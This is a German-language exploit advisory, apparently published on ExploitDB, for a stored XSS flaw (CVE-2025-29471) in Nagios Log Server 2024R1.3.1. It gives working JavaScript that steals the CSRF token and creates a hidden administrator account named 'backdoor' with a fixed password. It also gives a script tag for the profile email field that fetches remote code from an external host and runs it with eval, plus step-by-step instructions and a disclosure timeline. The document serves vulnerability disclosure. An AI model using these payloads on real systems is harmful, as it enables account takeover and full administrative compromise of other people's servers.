Gespeicherte XSS-Schwachstelle in Nagios Log Server (Rechteausweitung zum Administrator)

▶️ PoC-Demo

Datum: 2025-04-02

Exploit-Autor: Seth Kraft

Hersteller-Homepage: https://www.nagios.com/

Hersteller-Changelog: https://www.nagios.com/changelog/#log-server

Software-Link: https://assets.nagios.com/downloads/nagios-log-server/versions.php

Betroffene Versionen: `2024R1.3.1` und älter

Getestet auf: `Nagios Log Server 2024R1.3.1` (Standardkonfiguration, Ubuntu 20.04)

CWE-ID: `CWE-79`

Basiswert: 8.3 (Hoch)

Vektor-String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H`

Typ: Gespeichertes Cross-Site Scripting (XSS), Rechteausweitung

Autorisierung

Nur für autorisierte Tests und Forschungszwecke. Testen oder missbrauchen Sie diese Schwachstelle nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben.

Beschreibung:

Eine gespeicherte XSS-Schwachstelle in Nagios Log Server 2024R1.3.1 ermöglicht es einem Benutzer mit geringen Rechten, bösartiges JavaScript in das Feld „email“ seines Profils einzuschleusen.

Wenn ein Administrator die Audit-Logs einseht, wird die Nutzlast ausgeführt, was zu einer Rechteausweitung durch die unbefugte Erstellung eines Admin-Kontos führt.

Proof of Concept

1.Hosten Sie die xss.js-Nutzlast auf Ihrem externen Server mit folgendem Inhalt. GitHub funktioniert einwandfrei.

Aktualisieren Sie <target-ip> auf die IP/den Hostnamen des Nagios Log Server-Ziels.

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();

Melden Sie sich als Standardbenutzer (Nicht-Administrator) bei Nagios Log Server an.
Navigieren Sie zum Endpunkt für die Profilaktualisierung:

http://<target-ip>/nagioslogserver/profile/update
Injizieren Sie die folgende Payload in das E-Mail-Feld. Aktualisieren Sie die Zeile fetch mit der URL, unter der xss.js gespeichert ist.

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>

Warten Sie, bis ein Administrator die Audit-Logs einsehen. Das JavaScript wird ausgeführt und erstellt ein neues Admin-Konto:

Username: backdoor

Password: Password123!

Melden Sie sich als backdoor mit vollem Admin-Zugriff in Nagios Log Server an.

Offenlegungs-Zeitplan

2025-02-07: Der Forscher meldete die Schwachstelle an Nagios
2025-02-14: Nagios bestätigte den Eingang des Sicherheitsberichts
2025-03-03: Der Forscher bat Nagios um ein Update
2025-03-10: Der Forscher bat Nagios um ein Update
2025-03-17: Nagios bestätigt, dass die Schwachstelle behoben ist und ein Fix in Kürze veröffentlicht werden soll
2025-03-19: Nagios veröffentlicht Nagios Log Server 2024R2
2025-03-27: Der Forscher testete und verifizierte, dass Nagios Log Server 2024R2 die Stored-XSS-Schwachstelle behebt, und informierte Nagios
2025-04-01: MITRE reserviert CVE-2025-29471 für diese Stored-XSS-Schwachstelle, doch die Details blieben unveröffentlicht, da kein öffentlicher Security Advisory des Herstellers vorlag
2025-04-03: Der Forscher veröffentlicht den PoC auf ExploitDB, um die Nachweisanforderungen für die CVE-ID-Vergabe durch MITRE zu erfüllen.
2025-04-09: Nagios veröffentlicht einen Nachtrag zum 2024R2-Fix (2024R1.3.2), der den Fix für die Stored-XSS-Schwachstelle auf den 2024R1-Zweig zurückportiert
2025-04-15: CVE-2025-29471 wurde offiziell veröffentlicht

Haftungsausschluss

Diese Arbeit wurde außerhalb meines Beschäftigungsverhältnisses durchgeführt und spiegelt meine persönlichen Bemühungen in der Cybersecurity-Forschung wider.

CVE-2025-29471

Beliebteste